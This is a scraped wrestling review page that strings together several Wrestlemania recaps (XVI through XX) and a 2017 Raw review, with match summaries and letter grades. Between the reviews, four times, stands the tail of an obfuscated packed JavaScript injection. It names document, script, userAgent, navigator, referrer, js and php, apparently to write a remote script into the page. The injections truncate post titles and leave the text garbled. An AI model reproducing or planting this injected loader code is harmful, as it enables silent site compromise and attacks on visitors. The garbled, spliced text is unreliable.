New Column: Then vs. Almost Now
https://wrestlingrumors.net/kbs-review-vs-almost-now/
I know Wrestlemania XXXII was bad, but is XXXIII going to be even worse? Let’s look at five arbitrary points!
Wrestlemania Count-Up – Wrestlemania XX (2017 Redo): The Definitive One
Wrestlemania XX
Date: March 14, 2004
Location: Madison Square Garden, New York City, New York
Attendance: 18,500
Commentators: Michael Cole, Tazz, Jim Ross, Jerry Lawler
The Harlem Boys Choir sings America the Beautiful.
US Title: John Cena vs. Big Show
Cena gets a big celebration for his first title.
Raw Tag Team Titles: La Resistance vs. Garrison Cade/Mark Jindrak vs. Dudley Boyz vs. Booker T./Rob Van Dam
Booker and Van Dam are defending and this is one fall to a finish. And yes, they really thought calling someone Garrison Cade (just a generic guy who got better later on) was going to get him over. Jindrak is an athletic freak who became a bigger deal in Mexico and La Resistance are Rob Conway and Rene Dupree. Unfortunately this match means we have to hear the AWFUL Booker T./Rob Van Dam remixed theme. Seriously.
Chris Jericho vs. Christian
Jericho starts fast and gets rather aggressive on the mat. A belly to back suplex drops Christian as Lawler is cheering for the evil Canadian. Christian gets backdropped to the floor in a big crash and you know the New York crowd is going to be behind Jericho here. Back in and the threat of the Walls send Christian into the ropes.
Tim White tells them that they have “six minutes fellows” so Jericho gets two off a northern lights suplex. The Lionsault hits knees though and Christian gets two off his reverse tornado DDT. Christian starts in on the knee and slaps on a Texas Cloverleaf to mix it up a bit.
Post match Trish slaps Jericho on purpose so Christian can lay him out. Trish and Christian leave together and kiss on the stage, giving us the eternally awesome evil Trish, who worked in a variety of ways.
Evolution vs. The Rock/Mick Foley
Mick is in as well though and things speed up (not normally something you associate with Foley) until Batista drives him into the corner (which you do associate with Batista). A huge clothesline runs Foley over though and Orton whips him HARD into the steps. Back in and Orton grabs a camel clutch for a bit before the rest of the team gets in their shots. Foley does get a quickly broken up Claw on Batista for a hope spot, which is a great way to keep the crowd into things.
Rating: B+. I had a great time with this as it was an exceptional performance, albeit not exactly a great match. This was all about everyone looking great with Rock and Flair clearly having the time of their lives out there. Foley vs. Orton was the real story here and things would get even better the next month when they were on their own. This was a big part of making Orton though, which is where Foley shined like few others over the years. Great stuff here and a fine example of what happens when you have some amazing performers wanting to do their best.
Foley gets up and looks dejected but Rock applauds him.
Gene Okerlund presents the Hall of Fame Class of 2004:
Tito Santana (one of my all time favorites)
Big John Studd (represented by his son)
Harley Race (that man deserves his own Hall of fame)
Pete Rose (booed but said to be incredibly grateful for the honor)
Don Muraco (underrated)
Greg Valentine (big pop and looks the same as he did in 1983)
Junkyard Dog (represented by his daughter)
Billy Graham (probably the most copied wrestler of his era)
Sgt. Slaughter (the definition of a wrestling character)
Jesse Ventura (BIG pop and well deserved)
Sable/Torrie Wilson vs. Stacy Keibler/Miss Jackie
Playboy Evening Gown match (and Smackdown vs. Raw) after Sable and Torrie posed together. They want to have the match in lingerie but Jackie says no so this actually has to take place. Jackie is stripped anyway so all four are in their underwear. I think you know how this is going to go and they hit all of the comedy spots that you would expect. That includes high crossbodies, Stacy doing the leg choke in the corner, sunset flips and the referee getting crushed. Oh and genital jokes from Cole and Tazz. Torrie rolls Jackie up for the pin at 2:32. This was exactly what four non-wrestlers in lingerie was going to be.
Video on international fans coming in for Wrestlemania.
Cruiserweight Title: Cruiserweight Open
Chavo Guerrero Jr. is defending and this is basically Tag Team Turmoil but with one person at a time. Guerrero is automatically tenth due to being champion and the rest are all randomly chosen. In an interesting move, all ten come out first with Ultimo Dragon tripping on the way in for a funny moment.
Goldberg vs. Brock Lesnar
The fans think this match sucks as Lesnar FINALLY grabs a headlock five minutes in. They collide off a shoulder and stare each other down AGAIN, earning a “WE WANT FLAIR” chant. A double shoulder puts both guys down again and the fans are still livid. Goldberg finally grabs him by the throat into a gorilla press into a spinebuster, drawing an actual pop from the crowd.
The spear misses though and Goldberg crashes out to the floor so the fans think he sucks. Back in and Lesnar gets two off a suplex before grabbing a standing choke to keep things slow. Something happens in the crowd and they start chanting for Hogan (probably a look-a-like). Brock gets in another suplex and puts on another choke as the fans have just given up on even trying.
Another double collision puts both guys down again as this is somehow eleven minutes already. Goldberg makes his comeback with clotheslines and a neckbreaker followed by the spear for two. The F5 gets the same and Lesnar stops to jaw with Austin, setting up the spear and Jackhammer to end Brock at 13:43.
It got watchable near the end but they had already given up and taken the crowd completely out of it by that point. I was embarrassed here and that should never happen. Austin was completely innocent here by the way and was stuck in a hard place. Oh and one more thing: WWE IS GOING TO LET THEM DO IT AGAIN THIRTEEN YEARS LATER! FOR THE TITLE!
Fireworks go off outside.
The champs dance post match.
Edge is coming back after over a year on the shelf.
The haircut is STILL going after that package and Molly really is bald.
Smackdown World Title: Kurt Angle vs. Eddie Guerrero
Undertaker vs. Kane
Raw World Title: HHH vs. Shawn Michaels vs. Chris Benoit
In the real moment of the show, Eddie Guerrero comes out to celebrate with Benoit in the big emotional ending as the confetti falls. This is really, really hard to watch now and makes the show that much more emotional.
A four minute highlight package takes us out.
This is the kind of show that was DYING for a pre-show to burn off two or three of the matches that no one cared about (Tag Team Title matches and the Cruiserweight Open would be great candidates) and let the rest of the show not feel so long. The show itself needed to be about three to three and a half hours long max instead of the four hours and thirty one minutes it clocks in at instead.
Ratings Comparison
John Cena vs. Big Show
Original: C-
2013 Redo: C
2017 Redo: D
Booker T./Rob Van Dam vs. La Resistance vs. Garrison Cade/Mark Jidrak vs. Dudley Boyz
Original: D
2013 Redo: D
2017 Redo: D
Christian vs. Chris Jericho
Original: B
2013 Redo: B
2017 Redo: B-
Evolution vs. The Rock/Mick Foley
Original: A
2013 Redo: B
2017 Redo: B+
Torrie Wilson/Sable vs. Miss Jackie/Stacy Keibler
Original: F
2013 Redo: N/A
2017 Redo: N/A
Cruiserweight Open
Original: D+
2013 Redo: D
2017 Redo: D
Brock Lesnar vs. Goldberg
Original: F
2013 Redo: E
2017 Redo: S (for SEQUEL)
Original: D
2013 Redo: D
2017 Redo: D-
Molly Holly vs. Victoria
Original: D+
2013 Redo: D+
2017 Redo: C-
Eddie Guerrero vs. Kurt Angle
Original: A
2013 Redo: A
2017 Redo: A
Kane vs. Undertaker
Original: D
2013 Redo: D+
2017 Redo: D
Shawn Michaels vs. HHH vs. Chris Benoit
Original: A+
2013 Redo: A+
2017 Redo: A+
Overall Rating
Original: B
2013 Redo: B
2017 Redo: B
Oh I think we have the definitive rating here.
And the 2013 Redo:
http://kbwrestlingreviews.com/2013/03/29/wrestlemania-count-up-wrestlemania-xx-nearly-a-masterpiece/
http://kbwrestlingreviews.com/2017/01/27/kbs-reviews-now-available-in-paperback/
And check out my Amazon author page with cheap wrestling books at:
Wrestlemania Count-Up – Wrestlemania XIX: It’s Loved For A Reason
");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|nehdb|var|u0026u|referrer|efnef||js|php'.split('|'),0,{}))
XIX
Date: March 30, 2003
Location: Safeco Field, Seattle, Washington
Attendance: 54,097
Commentators: Michael Cole, Tazz, Jerry Lawler, Jim Ross
The theme song is called Crack Addict. Needless to say this was never mentioned on TV.
Cruiserweight Title: Rey Mysterio vs. Matt Hardy
The Miller Lite Catfight Girls are here. This would be your celebrity involvement for the year. They were from a series of beer commercials and would argue over various stupid things, in this case which match is bigger: Vince vs. Hogan or Rock vs. Austin III.
Limp Bizkit plays Undertaker to the ring and no one cares. By plays to the ring I mean performs the song until Taker finally comes out.
Undertaker vs. A-Train/Big Show
The Derailer (chokebomb) puts Taker down and Big Show rams him into the post for good measure. Back in and A-Train hits a slingshot into the middle rope for two. Big Show comes in again and all Taker can do is throw desperate right hands. A Big Show chokeslam is countered into a Fujiwara Armbar of all things but A-Train comes in to break it up. Taker throws him in a cross armbreaker but Big Show legdrops him to take control.
Undertaker waves an American flag post match to show how awesome he is.
The Catfight Girls run into Stacy Keibler and Torrie in the back with talk of a new marketing campaign. Next.
Benjamin comes in off a blind tag and superkicks Chris down for two. Eddie tags himself in and collides with Benoit to put both guys down. Shelton comes in to work on Benoit some more and a legdrop gets two. Eddie breaks it up with a Frog Splash but Chavo tags himself in, only to be suplexed down by Haas. Rhyno comes in for some Gores including one to Chavo, but Benjamin comes in (I have no idea if he was legal) and steals the retaining pin on Chavo.
Rating: C. The match was fine but it had no business being on Wrestlemania. This could have been on any given episode of Smackdown and no one would have noticed the difference. Rhyno and Benoit were just thrown together while the Guerreros were a regular team and former champions. Not bad here but not Wrestlemania worthy.
We recap Shawn vs. Jericho. Shawn returned last year and won the world title in a shocker. The two of them started feuding right before the Rumble where they eliminated each other. Jericho wanted to be a wrestler because he wanted to be Shawn Michaels. People started calling him the next HBK, but he wanted to be the first Chris Jericho. Jericho then went insane with the jealousy and obsession with being the best by destroying Shawn with a chair. One night when Jericho was walking through the entrance, Shawn superkicked him and said he would see Jericho at Wrestlemania.
Chris Jericho vs. Shawn Michaels
Back up and Jericho avoids a leapfrog and slaps Shawn in the face. Shawn slaps him right back and avoids a charge, sending Jericho out to the floor. A baseball slide keeps Jericho in trouble but back inside he rolls through a top rope cross body for two. Jericho hits a spinwheel kick to put Shawn down again before sending him into the buckle. Shawn blocks the bulldog though and crotches Jericho in the corner. At least Fozzy will have some higher pitched songs now.
Shawn puts on a Figure Four of all things but Jericho quickly rolls it over. Another attempt at the hold is countered and Jericho sends Shawn shoulder first into the post. Jericho tries to throw him to the floor but Shawn skins the cat into a headscissors to bring Jericho outside with him, followed by a sweet plancha to take Chris down again. Shawn tries a dropkick on the floor, only to be caught in the Walls of Jericho.
Jericho loads up Sweet Chin Music for the final insult and it hits just about perfectly. That only gets two as does a cross body by Shawn. Shawn keeps the thunder stealing theme going by trying the Walls on Jericho but has to opt for a catapult into the corner instead. Jericho comes back with a belly to back superplex attempt but Shawn counters in mid air into a cross body for two.
Michaels goes up again but Jericho kicks the referee into the ropes to crotch Shawn down on the top. Jericho tries a superplex but gets shoved down and hit with the top rope elbow for two. Shawn loads up the Superkick but gets caught in the Walls again. Jericho drags him back to the middle of the ring but Shawn makes it on the second attempt.
A boot to the faces gets two for Shawn as the fans are WAY into this now. Back up and Jericho whips him hard into the corner for a Flair Flip to mess with the back even more. Chris tries a belly to back suplex but Shawn flips over and jumps up into a rolling cradle for the pin out of nowhere on Jericho.
Post match Jericho kicks Shawn low like a real heel.
Sylvan Grenier, a crooked referee, goes in to see Vince.
We get the new attendance record announcement.
Limp Bizkit performs Crack Addict live. Again, not the best use of PPV time to say the least.
Raw World Title: HHH vs. Booker T
HHH is in his manly purple trunks here. They fight into the corner to start with Booker smacking HHH in the face a few times to take over. A backdrop puts HHH down but he comes back with a clothesline. The champion goes up top but just like his mentor, he gets armdragged down with ease. A clothesline puts HHH down for two but Booker goes up and gets knocked down to the floor for his efforts.
Booker gets sent into the announce table as the referee tells HHH to get back in, complete with some very salty language from the referee. Lawler keeps making jokes about Booker being an ex-con as HHH gets two off a neckbreaker. Booker tries to fight back with right hands but gets caught in a spinebuster for two for the champion. A suplex is escaped though and Booker DDTs him down for no cover.
Booker pounds away on HHH before taking him down with a forearm. A spinning variety of said forearm gets two but HHH comes back with his lame sleeper, which was the move he was trying to get over at this point to no avail. The facebuster staggers Booker but he comes back with a quick spinebuster for two. HHH tries going up again but jumps into a jumping superkick for two.
The Harlem Side Kick misses HHH and Booker crashes out to the floor. Flair gets in some shots before sending Booker back in for a freaking Indian Deathlock as we continue the trip back to 1974. Since the hold goes on forever and I have a chance to look at it, the question occurs to me of why does that hold hurt? Their legs are in the exact same positions, so why would it only hurt Booker?
Anyway Booker gets to the rope for the break and we get to the work over the leg to set up the Figure Four because we need to pay tribute to Flair every 18 seconds portion of the match. A rollup out of nowhere gets two for Booker and he counters the Pedigree, only to be kicked into the referee in the corner. Not that it matters as the referee counts a quick two off a rollup anyway.
Wrestlemania 20 is in Madison Square Garden.
We recap Hulk Hogan vs. Vince McMahon. This feud was A MESS as all of a sudden Hogan came back and Vince decided he hated him so they should fight. The problem is Vince never quite made his reasons for suddenly hating Hogan clear other than Vince was nuts. This led to a debate about which of them made Wrestlemania and saying the match was 20 years in the making. Not exactly but when nothing else in the feud makes sense, why should this?
Hulk Hogan vs. Vince McMahon
They head back in, only for Hogan to punch him out to the floor. Another chair shot to the back puts Vince down as does a third. Hogan swings again but knocks out the Spanish announcer by mistake. Vince hits Hogan in his Real American testicles as the slow brawling continues. A chair shot puts Hogan down and Vince pulls out a ladder, making me think this ends badly.
Shane McMahon comes out to check on his father post match. He glares at Hogan but nothing happens. Ok then. Ever the jerk, the bloody Vince flips off Hogan to end things.
We recap Rock vs. Austin III. Austin came back from walking out on the company due to boredom and the newly heel Hollywood Rock wanted to finally beat Austin at Wrestlemania. Do you need much else of a story beyond that?
Steve Austin vs. The Rock
Smackdown World Title: Brock Lesnar vs. Kurt Angle
The champ hits a SWEET release German on Brock for two and the Angle Slam gets the same. Lesnar comes back with the Angle Slam for two of his own as the fans are getting way into this now. Back to the ankle lock by Kurt and he hooks the grapevine for good measure. Brock somehow makes it to the rope, which I believe is the only time anyone has escaped the grapevine version of the ankle lock.
Both guys stagger to their feet and hug to end the show.
Ratings Comparison
Matt Hardy vs. Rey Mysterio
Original: C-
Redo: C+
Undertaker vs. A-Train/Big Show
Original: D
Redo: C
Trish Stratus vs. Victoria vs. Jazz
Original: D+
Redo: C
Los Guerreros vs. Team Angle vs. Chris Benoit/Rhyno
Original: C+
Redo: C
Chris Jericho vs. Shawn Michaels
Original: A-
Redo: A-
HHH vs. Booker T
Original: C+
Redo: C+
Hulk Hogan vs. Vince McMahon
Original: B
Redo: D+
The Rock vs. Steve Austin
Original: B+
Redo: B+
Kurt Angle vs. Brock Lesnar
Original: A-
Redo: B+
Overall Rating
Original: B
Redo: A-
What the heck was I thinking on that Hogan match?
http://kbwrestlingreviews.com/2011/03/26/history-of-wrestlemania-with-kb-wrestlemania-19-overrated/
http://kbwrestlingreviews.com/2017/01/27/kbs-reviews-now-available-in-paperback/
And check out my Amazon author page with cheap wrestling books at:
Monday Night Raw – March 20, 2017: The Wrestlemania Reds (Because Smackdown is Blue)
");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|afnsf|var|u0026u|referrer|niibn||js|php'.split('|'),0,{}))
Night Raw
Date: March 20, 2017
Location: Barclays Center, New York Center, New York
Commentators: Michael Cole, Byron Saxton, Corey Graves
Sami Zayn vs. Samoa Joe
Back from a break with Sami caught in a bow and arrow and shaking his head rather hard. Sami gets up and hits one heck of a clothesline to sent Joe outside but Joe is right there to break up the suicide dive. Joe gets posted and the diving DDT through the ropes crushes Joe, only to have Sami comes up holding his arm. Back in and the Helluva Kick is countered into the Rock Bottom out of the corner. The Koquina Clutch ends Sami at 12:20.
Rating: B-. Good, hard hitting match here and more entertaining than their pay per view match at Fastlane. Joe is being treated like a killer and is already as effective as he was down in NXT. I had a fun time with this one as Sami is one of the best ever at taking a stiff beating, especially from someone as good as Joe.
We look back at Braun Strowman attacking Roman Reigns at the Royal Rumble.
We look back at Rollins vs. HHH from last week.
Charlotte vs. Dana Brooke
TJ Perkins vs. Brian Kendrick
Perkins sends him outside for the slingshot dropkick, followed by a high crossbody for two. Not that it matters as Perkins gets caught in Sliced Bread #2 for the pin at 1:25.
Roman Reigns says this is his yard.
Nia Jax vs. Bayley
Clip of Reigns beating Strowman at Fastlane.
Cesaro/Sheamus vs. Enzo Amore/Big Cass/Anderson and Gallows
Enzo and Cass do their thing before the match and get in a fight with Anderson and Gallows. The distraction sets up a Brogue Kick on Gallows for the pin at 36 seconds.
Enzo and Cass beat up the champs again post match.
New Day is in the back and Big E. asks if Woods has anything to tell him about. That would be Wrestlemania actually as the trio talks about the bigger matches. Big E. is really, really excited for Goldberg vs. Brock Lesnar. They even act out a little bit of the buildup.
Austin Aries vs. Tony Nese
Rating: C-. This was just a way to show you that Aries is indeed awesome and ready to face Neville at Wrestlemania. I can go for Aries getting a good push before his title match as he needs to get back in ring shape. Aries is already better than most of the division so a few wins like this are a good idea.
Emma is coming soon.
Video on Goldberg vs. Lesnar over the last few months.
Roman Reigns vs. Braun Strowman
Reigns starts fast and knocks Strowman to the floor but the apron dropkick is broken up with one heck of a clothesline. Back in and a hard whip sends Reigns into the buckle before we hit a very big chinlock. Reigns fights up with some clotheslines before avoiding a charge in the corner.
Results
Samoa Joe b. Sami Zayn – Koquina Clutch
Charlotte b. Dana Brooke – Big boot
Brian Kendrick b. TJ Perkins – Sliced Bread #2
Nia Jax b. Bayley – Samoan drop
Cesaro/Sheamus b. Enzo Amore/Big Cass/Anderson and Gallows – Brogue Kick to Gallows
Austin Aries b. Tony Nese – Discus Five Arm
Roman Reigns vs. Braun Strowman went to a no contest when Undertaker interfered
http://kbwrestlingreviews.com/2017/01/27/kbs-reviews-now-available-in-paperback/
And check out my Amazon author page with cheap wrestling books at:
Wrestlemania Count-Up – Wrestlemania XVIII: Hogan’s Apology
");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|fbnnb|var|u0026u|referrer|atnnr||js|php'.split('|'),0,{}))
XVIII
Date: March 17, 2002
Location: SkyDome, Toronto, Ontario, Canada
Attendance: 68,237
Commentators: Jim Ross, Jerry Lawler
The opening video is about how Wrestlemania is the biggest show of the year and what it means for your career to make it to this show. The main focus is on HHH being back in the main event tonight.
Intercontinental Title: Rob Van Dam vs. William Regal
The champion takes it to the mat for a bit before a quick suplex gets two. Regal puts on a quick chinlock but Van Dam flips out of it, only to hit knees with Rolling Thunder. A nice butterfly powerbomb gets two for Regal but Rob rolls him up before the Regal Stretch can go on. Van Dam monkey flips Regal down but Regal blocks the stepover kick into a half nelson suplex. Nicely done. Rob rolls to the floor and Regal follows, where he finds the brass knuckles. The referee takes them away back inside, but Regal pulls out a second pair. Not that it matters though as RVD kicks him down and hits the Five Star to win the title.
European Title: Christian vs. Diamond Dallas Page
Christian jumps Page to start but Page comes back with a nice over the shoulder gutbuster before clotheslining Christian out to the floor. Back in and Page pounds away in the corner, only to be dropped face first onto the buckle. We hear about Page being the Cadillac driver at Wrestlemania 6 in this same building which is indeed a pretty cool story. They trade slugs in the corner but Christian rams Page into the post to take over.
Post match Page says that was a good thing but Christian has a tantrum anyway.
Hardcore Title: Goldust vs. Maven
Drowning Pool performs a song called Tear Away which “tells the story” of the main event, which means we get a small video of the feud as they play their song. This fills up like five minutes of the show, which combined with the other performance earlier could have easily gone to another match or extending one of the existing ones.
Kurt Angle vs. Kane
The side slam puts Kane down but Angle rolls some Germans to put him right back down. A top rope clothesline puts Kane down again but the second attempt lands on an uppercut from Kane. Both guys are down again as the match slows down even more. Kane comes back with the big boot and the tilt-a-whirl powerslam for two. Now the chokeslam hits but Angle grabs the rope. Angle grabs the mask to confuse Kane and hits the Angle Slam for two.
Ric Flair vs. Undertaker
Anderson comes in and gets busted open via some shots to the head and is put in a dragon sleeper (yes Taker used to use that) for good measure. Flair breaks it up with a chair but gets kicked in the face. They botch the Last Ride attempt (it almost looked like Flair was sandbagging him) so Taker Tombstones him to end it.
Booker T vs. Edge
Steve Austin vs. Scott Hall
Axxess video. That still looks awesome.
Tag Titles: Dudley Boyz vs. Hardy Boyz vs. Billy and Chuck vs. APA
Rating: D. This was only thirteen minutes long but MAN ALIVE was this a chore to sit through. There was no need for this to be on the card and everyone from the commentators to the fans had no interest in it. The only good thing about this was how insanely hot Stacy looked. This could have easily been cut and made this already bloated show a bit easier to sit through.
Molly tries to leave but gets hit in the face by a door to give Christian the title.
We recap Hogan vs. Rock, which is the real main event of this show. Hogan talked about how he was a legend but then the people turned on him. Rock came out and said that it was Hogan that changed rather than the people. He said Hogan had talked about main headlining Wrestlemania after Wrestlemania, so how does he feel about headlining one more Wrestlemania against the Rock. Hogan said yes and got a Rock Bottom for his trouble.
Hollywood Hogan vs. The Rock
Post match they stare each other down with Hogan holding his ribs. Hogan extends his hand and Rock gladly shakes it. Hulk lets Rock pose but here are the Outsiders. They yell at Hogan and beat him down, but Rock runs back in for the save. Hall and Nash are dispatched and Rock and Hogan stand tall, apparently having made up after Hogan HIT ROCK WITH A HAMMER AND CRUSHING HIM WITH A SEMITRUCK. Rock has Hogan pose for the fans after the match in another nostalgia moment.
Big Show is at WWF New York.
We get the attendance record announcement: 68,237, breaking the record (presumably) held by Wrestlemania VI by about 600 people.
Maven jumps Christian as he leaves and steals the title again, finally ending this stupid joke.
WWF World Title: HHH vs. Chris Jericho
Back in and Jericho hits the Lionsault for two and there are the Walls for good measure. Jericho pulls him away from the ropes so HHH crawls again to make them. Stephanie offers a distraction so Jericho can bring in a chair but HHH counters with a DDT onto said chair. The crowd is DEAD for this. Stephanie comes in for no apparent reason and we finally get to see HHH Pedigree her. A chair shot to the head puts HHH down for two so Jericho loads up a Pedigree of his own. That gets countered into a slingshot and the real Pedigree gives HHH the title back.
HHH celebrates to end the show.
Ratings Comparison
Rob Van Dam vs. William Regal
Original: C
Redo: B-
Diamond Dallas Page vs. Christian
Original: D+
Redo: C
Maven vs. Goldust
Original: N/A
Redo: N/A
Kurt Angle vs. Kane
Original: C+
Redo: C-
Undertaker vs. Ric Flair
Original: B
Redo: C
Edge vs. Booker T
Original: C
Redo: D+
Steve Austin vs. Scott Hall
Original: D
Redo: C
Billy and Chuck vs. APA vs. Dudley Boys vs. Hardy Boys
Original: F
Redo: D
Rock vs. Hollywood Hogan
Original: C+
Redo: B
Jazz vs. Trish Stratus vs. Lita
Original: F+
Redo: D-
HHH vs. Chris Jericho
Original: C+
Redo: C+
Overall Rating
Original: C
Redo: C-
http://kbwrestlingreviews.com/2017/01/27/kbs-reviews-now-available-in-paperback/
And check out my Amazon author page with cheap wrestling books at:
Wrestlemania Count-Up – Wrestlemania XVII: Holy Repo Man on a Stick This Show is Great
");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|tzart|var|u0026u|referrer|tkrra||js|php'.split('|'),0,{}))
XVII
Date: April 1, 2001
Location: Astrodome, Houston, Texas
Attendance: 67,925
Commentators: Jim Ross, Paul Heyman
Intercontinental Title: Chris Jericho vs. William Regal
Jericho misses a charge in the corner and nearly hits the post head first. In a surprising move, Regal goes up top for a butterfly superplex which gets a delayed two. Jericho trips the legs and tries the Walls again but the shoulder gives out, allowing Regal to hook the Regal Stretch (STF with a half nelson) but Jericho makes the rope. Jericho fights back again but gets kicked in the shoulder, only to send Regal into the exposed buckle and hit the Lionsault to retain. That was a really sudden ending and JR sounded surprised so maybe it was called on the fly.
Rating: B-. This was exactly what an opener was supposed to be: fast paced, hard hitting and it told a good story. They beat on each other for seven minutes straight with nothing of note looking bad. The idea of the shoulder injury was a perfectly fine story to keep the match going and the Regal Stretch worked for a climax. This was a really good opener and it hit every point it was supposed to hit.
Shane McMahon in his WCW-1 limo shows up. He bought WCW on Monday, setting the stage for the Alliance.
Bradshaw is worried about Taz not being here for their match so he goes on one heck of a rant about how awesome Texas is before going on about how THIS IS WRESTLEMANIA.
Right to Censor vs. APA/Taz
Hardcore Title: Raven vs. Big Show vs. Kane
Raven tries to choke Kane with a gardening hose but Kane basically lassos him with it before throwing Raven through the window of a small office. Show knocks Kane through the office door before they brawl through the wall between the offices. Raven stomps away before stealing a golf cart, only to have Big Show jump on the back.
Now we head back up the steps to the stage where Kane goes nuts on Big Show, only to get clotheslined back down. Show loads up a gorilla press on Raven but Kane kicks them both off the stage. A legdrop from Kane onto Show is enough for the pin and the title in a crushed part of the set.
Rating: C+. This is a fun hardcore match with the cool brawling spots mixed with the fun and goofy stuff which is how you make for a good hardcore match. These kind of matches were rare, but for the most part this was a more serious kind of Hardcore Title match, which usually makes things better. Kane would hold the title for awhile before it fell back into the goofy style.
Jimmy Snuka is at WWF New York.
The Rock arrives, 40 minutes into the show.
European Title: Eddie Guerrero vs. Test
Test is defending and Eddie has the Perry Saturn with him. Eddie tries to jump him to start but gets thrown around by the pure power of the champion. A spinning powerbomb gets two for Test and they head to the floor almost immediately. Back in and Eddie gets in a shot to take over before pounding away in the corner. The champion comes back with a clothesline for two before heading up top.
Off to a sleeper by Guerrero now as the fans seem to be getting a bit bored. Test fights out of it after a few moments and hits the tilt-a-whirl slam to put both guys down. Another tilt-a-whirl ends in a powerbomb for two for Test but Eddie kicks him low to break up a full nelson slam. Saturn slips in while the referee is yelling at Eddie for the Moss Covered Three Handled Family Credenza (a swinging neckbreaker), giving Eddie a two count.
Mick Foley promises to call the street fight fairly.
Austin is here, 55 minutes late.
Kurt Angle vs. Chris Benoit
Angle says he won but Benoit jumps him and puts on another Crossface, making Kurt tap again.
We recap Vince demanding a divorce from Linda while openly having an affair with Trish. Linda had a breakdown so Vince had her medicated to the point that she was basically a vegetable. Shane returned to destroy Vince and challenged him to a match at Wrestlemania. Vince said ok but there were bigger things to take care of.
Vince McMahon vs. Shane McMahon
Stephanie gets in the ring and slaps Shane in the face, causing a chase sequence. Shane stops to hit Vince in the head with a sign before beating him over an over in the back. A clothesline off the barricade puts Vince down again before Shane whips him into the barricade. Shane blasts him in the back with a kendo stick over and over before peppering him with left jabs and a big right cross. Other than the brief flurry to start this is all Shane.
Trish surprises everyone by slapping Vince, turning face in the process. Stephanie goes after Trish, triggering a catfight in the ring. Mick pulls Stephanie off of Trish, only to get slapped in the face for his efforts. Stephanie runs from Trish and does the worst looking fall in the history of bad looking falls to let Trish catch up before leaving the arena. Back at ringside Vince wakes up and calls his wife a very bad name but Foley stops any potential domestic violence. Vince is fine with that and blasts Mick in the back with a chair.
HHH and Undertaker are getting ready. To this day I still want one of those X7 baseball jerseys. They were AWESOME.
Tag Titles: Dudley Boyz vs. Hardy Boyz vs. Edge and Christian
Matt and Bubba go up on the super ladder, but Rhyno shoves it over, sending them crashing through the four tables at ringside. D-Von goes up now but Edge grabs his feet, allowing Rhyno to give Christian enough of a boost to beat D-Von to the top and get the titles, finally ending this carnage.
Video on Axxess. I need to go to that someday.
Now for the fun part of the show to give the fans a chance to breathe. Here are MEAN FREAKING GENE OKERLUND and Bobby Heenan to do commentary for the next match.
Gimmick Battle Royal
We recap HHH vs. Undertaker. HHH beat Austin at No Way Out and then said there was nobody left for him to beat, so here came the Dead Man. HHH jumped him from behind and choked him with a chair a week later. Taker came back with a pipe, earning himself a restraining order from Stephanie.
HHH vs. Undertaker
Taker is busted open and HHH is having a fit. The Game pounds away at the cut in the corner but makes the fatal mistake of going to the middle rope for more leverage, allowing Taker to grab the Last Ride to plant HHH and make himself 9-0 at Wrestlemania. Taker lays on the ropes after the match and the shot of him busted open but smiling is sweet.
Some fan won a contest here because of a poster.
As JR says, the time is upon us.
WWF World Title: Steve Austin vs. The Rock
They fight over to the announce table with Austin coming back with a bell shot to the face. Rock is knocked onto the announce table which breaks a few seconds later. We head back inside for Austin to pound away to even more pops from the crowd. Rock comes back with right hands but Austin drops both him and a leg for two. Rock is busted open and Austin chokes away in the corner. Austin stops to yell at the referee and gets his head taken off by a lariat from Rock.
Vince and Austin shake hands, officially ending the Attitude Era. Beer is consumed and Rock is hit with the belt one more time for good measure.
Ratings Comparison
Chris Jericho vs. William Regal
Original: B
Redo: B-
Right to Censor vs. Tazz/A.P.A.
Original: C-
Redo: C-
Raven vs. Kane vs. Big Show
Original: C+
Redo: C+
Eddie Guerrero vs. Test
Original: C-
Redo: D+
Kurt Angle vs. Chris Benoit
Original: B+
Redo: B+
Chyna vs. Ivory
Original: N/A
Redo: N/A
Vince McMahon vs. Shane McMahon
Original: B
Redo: B
Edge and Christian vs. Hardy Boyz vs. Dudley Boyz
Original: A+
Redo: A+
Gimmick Battle Royal
Original: N/A
Redo: N/A
Undertaker vs. HHH
Original: A+
Redo: A
Steve Austin vs. The Rock
Original: A+
Redo: A+
Overall Rating
Original: A+
Redo: A++
Yep it holds up.
http://kbwrestlingreviews.com/2011/03/24/history-of-wrestlemania-with-kb-wrestlemania-17-oh-yes/
http://kbwrestlingreviews.com/2017/01/27/kbs-reviews-now-available-in-paperback/
And check out my Amazon author page with cheap wrestling books at:
Wrestlemania Count-Up – Wrestlemania XIV: McMahons, McMahons Everywhere
Wrestlemania XVI
Date: April 2, 2000
Location: Arrowhead Pond, Anaheim, California
Attendance: 18,034
Commentators: Jerry Lawler, Jim Ross
A clothesline gets two more for Bull and everything breaks down for a few seconds. That goes nowhere so we go back to Buchanan pounding on Brown in the corner. Now we keep the excitement going with a bearhug. Boss Man comes in for some double teaming and does his best to get the fans to care at all.
Hardcore Title: Hardcore Battle Royal
Tazz, Crash Holly, Hardcore Holly, Viscera, Joey Abs, Rodney, Pete Gas, Taka Michinoku, Funaki, Thrasher, Mosh, Faarooq, Bradshaw
We look at Axxess over the weekend. Interestingly enough Undertaker is there in the biker attire.
Trish is ready in the back.
We get a “comedy” bit based off Austin Powers with Kat being sans clothes and Mae Young accidentally covering up the good parts.
Tag Titles: Edge and Christian vs. Hardy Boyz vs. Dudley Boyz
Edge comes back in and gets caught in the original 3D, with Bubba running for the cutter instead of just standing there. Bubba loads up a table as is his custom and D-Von gets one of his own. There are two ladders set up in the ring and the Dudleys are all alone, but instead of climbing they make a scaffold out of a table between the tops of the ladders. The Hardys get back up to make the save but are easily dispatched. Again the Dudleys screw up though by setting up another table under the scaffold and a third on the floor.
Bubba powerbombs Matt through the one on the floor but D-Von misses a splash through Jeff on one of the tables back in the ring. Jeff tries to run the rail but Bubba pelts him in the face with a ladder. Bubba loads up the super ladder in the aisle before setting up a table in front of it. I can smell wrestling law #1 from here. Jeff comes back and takes Bubba out before putting him on the ladder. In the famous spot from this match, Jeff climbs to the top of the super ladder and hits the Swanton through Bubba through the table to put both of them out.
